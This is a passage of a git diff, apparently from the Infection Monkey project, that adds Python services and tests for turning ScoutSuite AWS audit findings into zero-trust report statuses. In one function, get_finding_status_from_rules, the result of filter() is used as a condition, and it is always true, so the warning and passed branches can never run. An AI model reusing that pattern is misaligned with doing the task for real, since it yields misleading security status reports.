{}".format(finding.test) + + if len(existing_findings) == 0: + ScoutSuiteZTFindingService._create_new_finding_from_rule(finding, rule) + else: + ScoutSuiteZTFindingService.add_rule(existing_findings[0], rule) + + @staticmethod + def _create_new_finding_from_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule): + details = ScoutSuiteFindingDetails() + details.scoutsuite_rules = [rule] + details.save() + status = ScoutSuiteZTFindingService.get_finding_status_from_rules(details.scoutsuite_rules) + ScoutSuiteFinding.save_finding(finding.test, status, details) + + @staticmethod + def get_finding_status_from_rules(rules: List[ScoutSuiteRule]) -> str: + if len(rules) == 0: + return zero_trust_consts.STATUS_UNEXECUTED + elif filter(lambda x: ScoutSuiteRuleService.is_rule_dangerous(x), rules): + return zero_trust_consts.STATUS_FAILED + elif filter(lambda x: ScoutSuiteRuleService.is_rule_warning(x), rules): + return zero_trust_consts.STATUS_VERIFY + else: + return zero_trust_consts.STATUS_PASSED + + @staticmethod + def add_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): + ScoutSuiteZTFindingService.change_finding_status_by_rule(finding, rule) + finding.save() + finding.details.fetch().add_rule(rule) + + @staticmethod + def change_finding_status_by_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule): + rule_status = ScoutSuiteZTFindingService.get_finding_status_from_rules([rule]) + finding_status = finding.status + new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status(finding_status, rule_status) + if finding_status != new_finding_status: + finding.status = new_finding_status + + @staticmethod + def get_finding_status_from_rule_status(finding_status: str, rule_status: str) -> str: + if finding_status == zero_trust_consts.STATUS_FAILED or rule_status == zero_trust_consts.STATUS_FAILED: + return zero_trust_consts.STATUS_FAILED + elif finding_status == zero_trust_consts.STATUS_VERIFY or rule_status == zero_trust_consts.STATUS_VERIFY: + return zero_trust_consts.STATUS_VERIFY + elif finding_status == zero_trust_consts.STATUS_PASSED or rule_status == zero_trust_consts.STATUS_PASSED: + return zero_trust_consts.STATUS_PASSED + else: + return zero_trust_consts.STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py new file mode 100644 index 000000000..c35e55a8f --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -0,0 +1,33 @@ +from unittest.mock import MagicMock + +import pytest +import dpath.util + +from monkey_island.cc.database import mongo +from monkey_island.cc.server_utils import encryptor +from monkey_island.cc.services.config import ConfigService +from common.config_value_paths import AWS_KEYS_PATH +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import is_aws_keys_setup +from monkey_island.cc.test_common.fixtures import FixtureEnum + + +class MockObject: + pass + + +@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +def test_is_aws_keys_setup(): + # Mock default configuration + ConfigService.init_default_config() + mongo.db = MockObject() + mongo.db.config = MockObject() + ConfigService.encrypt_config(ConfigService.default_config) + mongo.db.config.find_one = MagicMock(return_value=ConfigService.default_config) + assert not is_aws_keys_setup() + + # Make sure noone changed config path and broke this function + bogus_key_value = encryptor.encryptor.enc('bogus_aws_key') + dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_secret_access_key'], bogus_key_value) + dpath.util.set(ConfigService.default_config, AWS_KEYS_PATH+['aws_access_key_id'], bogus_key_value) + + assert is_aws_keys_setup() diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py new file mode 100644 index 000000000..e08c8a290 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py @@ -0,0 +1,54 @@ +from copy import deepcopy + +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import RULE_LEVEL_WARNING, RULE_LEVEL_DANGER +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService +from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES + +example_scoutsuite_data = { + 'checked_items': 179, + 'compliance': None, + 'dashboard_name': 'Rules', + 'description': 'Security Group Opens All Ports to All', + 'flagged_items': 2, + 'items': [ + 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72' + '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65' + '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR' + ], + 'level': 'danger', + 'path': 'ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + 'rationale': 'It was detected that all ports in the security group are open, and any source IP address' + ' could send traffic to these ports, which creates a wider attack surface for resources ' + 'assigned to it. Open ports should be reduced to the minimum needed to correctly', + 'references': [], + 'remediation': None, + 'service': 'EC2' +} + + +def test_get_rule_from_rule_data(): + assert ScoutSuiteRuleService.get_rule_from_rule_data(example_scoutsuite_data) == RULES[0] + + +def test_is_rule_dangerous(): + test_rule = deepcopy(RULES[0]) + assert ScoutSuiteRuleService.is_rule_dangerous(test_rule) + + test_rule.level = RULE_LEVEL_WARNING + assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) + + test_rule.level = RULE_LEVEL_DANGER + test_rule.items = [] + assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule) + + +def test_is_rule_warning(): + test_rule = deepcopy(RULES[0]) + assert not ScoutSuiteRuleService.is_rule_warning(test_rule) + + test_rule.level = RULE_LEVEL_WARNING + assert ScoutSuiteRuleService.is_rule_warning(test_rule) + + test_rule.items = [] + assert not ScoutSuiteRuleService.is_rule_warning(test_rule) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py new file mode 100644 index 000000000..549d3161e --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py @@ -0,0 +1,42 @@ +import pytest + +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService +from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES, SCOUTSUITE_FINDINGS +from monkey_island.cc.test_common.fixtures import FixtureEnum + + +class TestScoutSuiteZTFindingService: + + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + def test_process_rule(self): + # Creates new PermissiveFirewallRules finding with a rule + ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[0]) + findings = list(Finding.objects()) + assert len(findings) == 1 + assert type(findings[0]) == ScoutSuiteFinding + # Assert that details were created properly + details = findings[0].details.fetch() + assert len(details.scoutsuite_rules) == 1 + assert details.scoutsuite_rules[0] == RULES[0] + + # Rule processing should add rule to an already existing finding + ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[0], RULES[1]) + findings = list(ScoutSuiteFinding.objects()) + assert len(findings) == 1 + assert type(findings[0]) == ScoutSuiteFinding + # Assert that details were created properly + details = findings[0].details.fetch() + assert len(details.scoutsuite_rules) == 2 + assert details.scoutsuite_rules[1] == RULES[1] + + # New finding created + ScoutSuiteZTFindingService.process_rule(SCOUTSUITE_FINDINGS[1], RULES[1]) + findings = list(Finding.objects()) + assert len(findings) == 2 + assert type(findings[0]) == ScoutSuiteFinding + # Assert that details were created properly + details = findings[1].details.fetch() + assert len(details.scoutsuite_rules) == 1 + assert details.scoutsuite_rules[0] == RULES[1] diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py new file mode 100644 index 000000000..aaea95031 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -0,0 +1,23 @@ +from common.common_consts.zero_trust_consts import TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, \ + TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding +from monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import get_monkey_details_dto +from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import get_scoutsuite_details_dto + + +def get_scoutsuite_finding_dto() -> Finding: + scoutsuite_details = get_scoutsuite_details_dto() + scoutsuite_details.save() + return ScoutSuiteFinding(test=TEST_SCOUTSUITE_SERVICE_SECURITY, + status=STATUS_FAILED, + details=scoutsuite_details) + + +def get_monkey_finding_dto() -> Finding: + monkey_details = get_monkey_details_dto() + monkey_details.save() + return MonkeyFinding(test=TEST_ENDPOINT_SECURITY_EXISTS, + status=STATUS_PASSED, + details=monkey_details) diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py new file mode 100644 index 000000000..b0050a8c9 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py @@ -0,0 +1,33 @@ +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails + +EVENTS = [ + { + "timestamp": "2021-01-20T15:40:28.357Z", + "title": "Process list", + "message": "Monkey on pc-24 scanned the process list", + "event_type": "monkey_local" + }, + { + "timestamp": "2021-01-20T16:08:29.519Z", + "title": "Process list", + "message": "", + "event_type": "monkey_local" + }, +] + +EVENTS_DTO = [ + Event(timestamp=event['timestamp'], + title=event['title'], + message=event['message'], + event_type=event['event_type']) for event in EVENTS +] + +DETAILS_DTO = [] + + +def get_monkey_details_dto() -> MonkeyFindingDetails: + monkey_details = MonkeyFindingDetails() + monkey_details.events.append(EVENTS_DTO[0]) + monkey_details.events.append(EVENTS_DTO[1]) + return monkey_details diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py new file mode 100644 index 000000000..317697632 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py @@ -0,0 +1,93 @@ +# This is what our codebase receives after running ScoutSuite module. +# Object '...': {'...': '...'} represents continuation of similar objects as above +RAW_SCOUTSUITE_DATA = { + 'sg_map': { + 'sg-abc': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, + 'sg-abcd': {'region': 'ap-northeast-2', 'vpc_id': 'vpc-abc'}, + '...': {'...': '...'}}, + 'subnet_map': { + 'subnet-abc': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, + 'subnet-abcd': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'}, + '...': {'...': '...'} + }, + 'provider_code': 'aws', + 'provider_name': 'Amazon Web Services', + 'environment': None, + 'result_format': 'json', + 'partition': 'aws', + 'account_id': '125686982355', + 'last_run': { + 'time': '2021-02-05 16:03:04+0200', + 'run_parameters': {'services': [], 'skipped_services': [], 'regions': [], 'excluded_regions': []}, + 'version': '5.10.0', + 'ruleset_name': 'default', + 'ruleset_about': 'This ruleset', + 'summary': {'ec2': {'checked_items': 3747, 'flagged_items': 262, 'max_level': 'warning', 'rules_count': 28, + 'resources_count': 176}, + 's3': {'checked_items': 88, 'flagged_items': 25, 'max_level': 'danger', 'rules_count': 18, + 'resources_count': 5}, + '...': {'...': '...'}}}, + 'metadata': { + 'compute': { + 'summaries': {'external attack surface': {'cols': 1, + 'path': 'service_groups.compute.summaries.external_attack_surface', + 'callbacks': [ + ['merge', {'attribute': 'external_attack_surface'}]]}}, + '...': {'...': '...'} + }, + '...': {'...': '...'} + }, + + # This is the important part, which we parse to get resources + 'services': { + 'ec2': {'regions': { + 'ap-northeast-1': { + 'vpcs': { + 'vpc-abc': { + 'id': 'vpc-abc', + 'security_groups': { + 'sg-abc': { + 'name': 'default', + 'rules': { + 'ingress': {'protocols': { + 'ALL': {'ports': {'1-65535': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}}, + 'count': 1}, + 'egress': {'protocols': { + 'ALL': {'ports': {'1-65535': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}}, + 'count': 1}} + } + }}}, + '...': {'...': '...'} + }}, + # Interesting info, maybe could be used somewhere in the report + 'external_attack_surface': { + '52.52.52.52': {'protocols': {'TCP': {'ports': {'22': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}}, + 'InstanceName': 'InstanceName', + 'PublicDnsName': 'ec2-52-52-52-52.eu-central-1.compute.amazonaws.com'}}, + # We parse these into ScoutSuite security rules + 'findings': { + 'ec2-security-group-opens-all-ports-to-all': { + 'description': 'Security Group Opens All Ports to All', + 'path': 'ec2.regions.id.vpcs.id.security_groups' + '.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + 'level': 'danger', + 'display_path': 'ec2.regions.id.vpcs.id.security_groups.id', + 'items': [ + 'ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups' + '.sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'], + 'dashboard_name': 'Rules', + 'checked_items': 179, + 'flagged_items': 2, + 'service': 'EC2', + 'rationale': 'It was detected that all ports in the security group are open <...>', + 'remediation': None, 'compliance': None, 'references': None}, + '...': {'...': '...'} + } + }, + '...': {'...': '...'} + }, + 'service_list': ['acm', 'awslambda', 'cloudformation', 'cloudtrail', 'cloudwatch', 'config', 'directconnect', + 'dynamodb', 'ec2', 'efs', 'elasticache', 'elb', 'elbv2', 'emr', 'iam', 'kms', 'rds', 'redshift', + 'route53', 's3', 'ses', 'sns', 'sqs', 'vpc', 'secretsmanager'], + 'service_groups': {'...': {'...': '...'}} +} diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py new file mode 100644 index 000000000..fb9722ca2 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py @@ -0,0 +1,75 @@ +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails +from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import PermissiveFirewallRules, \ + UnencryptedData + +SCOUTSUITE_FINDINGS = [ + PermissiveFirewallRules, + UnencryptedData +] + +RULES = [ + ScoutSuiteRule( + checked_items=179, + compliance=None, + dashboard_name='Rules', + description='Security Group Opens All Ports to All', + flagged_items=2, + items=[ + 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72' + '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65' + '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR' + ], + level='danger', + path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + rationale='It was detected that all ports in the security group are open, and any source IP address' + ' could send traffic to these ports, which creates a wider attack surface for resources ' + 'assigned to it. Open ports should be reduced to the minimum needed to correctly', + references=[], + remediation=None, + service='EC2' + ), + ScoutSuiteRule( + checked_items=179, + compliance=[{'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.1'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.2'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.1'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.2'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.1'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.2'}], + dashboard_name='Rules', + description='Security Group Opens RDP Port to All', + flagged_items=7, + items=[ + 'ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg-00bdef5951797199c' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg-01902f153d4f938da' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR'], + level='danger', + path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + rationale='The security group was found to be exposing a well-known port to all source addresses.' + ' Well-known ports are commonly probed by automated scanning tools, and could be an indicator ' + 'of sensitive services exposed to Internet. If such services need to be expos', + references=[], + remediation='Remove the inbound rules that expose open ports', + service='EC2' + ) +] + + +def get_scoutsuite_details_dto() -> ScoutSuiteFindingDetails: + scoutsuite_details = ScoutSuiteFindingDetails() + scoutsuite_details.scoutsuite_rules.append(RULES[0]) + scoutsuite_details.scoutsuite_rules.append(RULES[1]) + return scoutsuite_details diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/__init__.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py new file mode 100644 index 000000000..5b69d6ad9 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py @@ -0,0 +1,60 @@ +from dataclasses import dataclass +from typing import List, Union + +from bson import SON + +from common.common_consts import zero_trust_consts +from common.utils.exceptions import UnknownFindingError +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService + + +@dataclass +class EnrichedFinding: + finding_id: str + test: str + test_key: str + pillars: List[str] + status: str + details: Union[dict, None] + + +class FindingService: + + @staticmethod + def get_all_findings_from_db() -> List[Finding]: + return list(Finding.objects) + + @staticmethod + def get_all_findings_for_ui() -> List[EnrichedFinding]: + findings = FindingService.get_all_findings_from_db() + for i in range(len(findings)): + details = FindingService._get_finding_details(findings[i]) + findings[i] = findings[i].to_mongo() + findings[i] = FindingService._get_enriched_finding(findings[i]) + findings[i].details = details + return findings + + @staticmethod + def _get_enriched_finding(finding: Finding) -> EnrichedFinding: + test_info = zero_trust_consts.TESTS_MAP[finding['test']] + enriched_finding = EnrichedFinding( + finding_id=str(finding['_id']), + test=test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding['status']], + test_key=finding['test'], + pillars=test_info[zero_trust_consts.PILLARS_KEY], + status=finding['status'], + details=None + ) + return enriched_finding + + @staticmethod + def _get_finding_details(finding: Finding) -> Union[dict, SON]: + if type(finding) == MonkeyFinding: + return MonkeyZTDetailsService.fetch_details_for_display(finding.details.id) + elif type(finding) == ScoutSuiteFinding: + return finding.details.fetch().to_mongo() + else: + raise UnknownFindingError(f"Unknown finding type {str(type(finding))}") diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py new file mode 100644 index 000000000..4f9c067f6 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py @@ -0,0 +1,75 @@ +import common.common_consts.zero_trust_consts as zero_trust_consts +from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService + + +class PillarService: + + @staticmethod + def get_pillar_report_data(): + return {"statusesToPillars": PillarService._get_statuses_to_pillars(), + "pillarsToStatuses": PillarService._get_pillars_to_statuses(), + "grades": PillarService._get_pillars_grades()} + + @staticmethod + def _get_pillars_grades(): + pillars_grades = [] + all_findings = FindingService.get_all_findings_from_db() + for pillar in zero_trust_consts.PILLARS: + pillars_grades.append(PillarService.__get_pillar_grade(pillar, all_findings)) + return pillars_grades + + @staticmethod + def __get_pillar_grade(pillar, all_findings): + pillar_grade = { + "pillar": pillar, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 0 + } + + tests_of_this_pillar = zero_trust_consts.PILLARS_TO_TESTS[pillar] + + test_unexecuted = {} + for test in tests_of_this_pillar: + test_unexecuted[test] = True + + for finding in all_findings: + test_unexecuted[finding.test] = False + test_info = zero_trust_consts.TESTS_MAP[finding.test] + if pillar in test_info[zero_trust_consts.PILLARS_KEY]: + pillar_grade[finding.status] += 1 + + pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = list(test_unexecuted.values()).count(True) + + return pillar_grade + + @staticmethod + def _get_statuses_to_pillars(): + results = { + zero_trust_consts.STATUS_FAILED: [], + zero_trust_consts.STATUS_VERIFY: [], + zero_trust_consts.STATUS_PASSED: [], + zero_trust_consts.STATUS_UNEXECUTED: [] + } + for pillar in zero_trust_consts.PILLARS: + results[PillarService.__get_status_of_single_pillar(pillar)].append(pillar) + + return results + + @staticmethod + def _get_pillars_to_statuses(): + results = {} + for pillar in zero_trust_consts.PILLARS: + results[pillar] = PillarService.__get_status_of_single_pillar(pillar) + + return results + + @staticmethod + def __get_status_of_single_pillar(pillar): + all_findings = FindingService.get_all_findings_from_db() + grade = PillarService.__get_pillar_grade(pillar, all_findings) + for status in zero_trust_consts.ORDERED_TEST_STATUSES: + if grade[status] > 0: + return status + return zero_trust_consts.STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py new file mode 100644 index 000000000..006cb053e --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py @@ -0,0 +1,67 @@ +import common.common_consts.zero_trust_consts as zero_trust_consts +from monkey_island.cc.models.zero_trust.finding import Finding + + +class PrincipleService: + + @staticmethod + def get_principles_status(): + all_principles_statuses = {} + + # init with empty lists + for pillar in zero_trust_consts.PILLARS: + all_principles_statuses[pillar] = [] + + for principle, principle_tests in list(zero_trust_consts.PRINCIPLES_TO_TESTS.items()): + for pillar in zero_trust_consts.PRINCIPLES_TO_PILLARS[principle]: + all_principles_statuses[pillar].append( + { + "principle": zero_trust_consts.PRINCIPLES[principle], + "tests": PrincipleService.__get_tests_status(principle_tests), + "status": PrincipleService.__get_principle_status(principle_tests) + } + ) + + return all_principles_statuses + + @staticmethod + def __get_principle_status(principle_tests): + worst_status = zero_trust_consts.STATUS_UNEXECUTED + all_statuses = set() + for test in principle_tests: + all_statuses |= set(Finding.objects(test=test).distinct('status')) + + for status in all_statuses: + if zero_trust_consts.ORDERED_TEST_STATUSES.index(status) \ + < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status): + worst_status = status + + return worst_status + + @staticmethod + def __get_tests_status(principle_tests): + results = [] + for test in principle_tests: + test_findings = Finding.objects(test=test) + results.append( + { + "test": zero_trust_consts.TESTS_MAP[test][zero_trust_consts.TEST_EXPLANATION_KEY], + "status": PrincipleService.__get_lcd_worst_status_for_test(test_findings) + } + ) + return results + + @staticmethod + def __get_lcd_worst_status_for_test(all_findings_for_test): + """ + :param all_findings_for_test: All findings of a specific test (get this using Finding.objects(test={A_TEST})) + :return: the "worst" (i.e. most severe) status out of the given findings. + lcd stands for lowest common denominator. + """ + current_worst_status = zero_trust_consts.STATUS_UNEXECUTED + for finding in all_findings_for_test: + if zero_trust_consts.ORDERED_TEST_STATUSES.index(finding.status) \ + < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status): + current_worst_status = finding.status + + return current_worst_status diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py new file mode 100644 index 000000000..3a3c06452 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py @@ -0,0 +1,13 @@ +from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson + + +class ScoutSuiteRawDataService: + + # Return unparsed json of ScoutSuite results, + # so that UI can pick out values it needs for report + @staticmethod + def get_scoutsuite_data_json() -> str: + try: + return ScoutSuiteRawDataJson.objects.get().scoutsuite_data + except Exception: + return "{}" diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py new file mode 100644 index 000000000..917678ed8 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py @@ -0,0 +1,57 @@ +from common.common_consts import zero_trust_consts +from monkey_island.cc.services.zero_trust.test_common.finding_data import get_monkey_finding_dto, \ + get_scoutsuite_finding_dto + + +def save_example_findings(): + # devices passed = 1 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED) + # devices passed = 2 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED) + # devices failed = 1 + _save_finding_with_status('monkey', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_FAILED) + # people verify = 1 + # networks verify = 1 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCHEDULED_EXECUTION, + zero_trust_consts.STATUS_VERIFY) + # people verify = 2 + # networks verify = 2 + _save_finding_with_status('monkey', zero_trust_consts.TEST_SCHEDULED_EXECUTION, + zero_trust_consts.STATUS_VERIFY) + # data failed 1 + _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + zero_trust_consts.STATUS_FAILED) + # data failed 2 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED) + # data failed 3 + _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + zero_trust_consts.STATUS_FAILED) + # data failed 4 + _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + zero_trust_consts.STATUS_FAILED) + # data failed 5 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED) + # data verify 1 + _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + zero_trust_consts.STATUS_VERIFY) + # data verify 2 + _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + zero_trust_consts.STATUS_VERIFY) + # data passed 1 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_PASSED) + + +def _save_finding_with_status(finding_type: str, test: str, status: str): + if finding_type == 'scoutsuite': + finding = get_scoutsuite_finding_dto() + else: + finding = get_monkey_finding_dto() + finding.test = test + finding.status = status + finding.save() diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py new file mode 100644 index 000000000..9d832e106 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -0,0 +1,47 @@ +from unittest.mock import MagicMock + +import pytest + +from common.common_consts.zero_trust_consts import TESTS_MAP, TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, \ + DEVICES, NETWORKS, STATUS_PASSED, TEST_ENDPOINT_SECURITY_EXISTS +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService +from monkey_island.cc.services.zero_trust.test_common.finding_data import get_scoutsuite_finding_dto, \ + get_monkey_finding_dto +from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService, EnrichedFinding +from monkey_island.cc.test_common.fixtures.fixture_enum import FixtureEnum + + +@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +def test_get_all_findings(): + get_scoutsuite_finding_dto().save() + 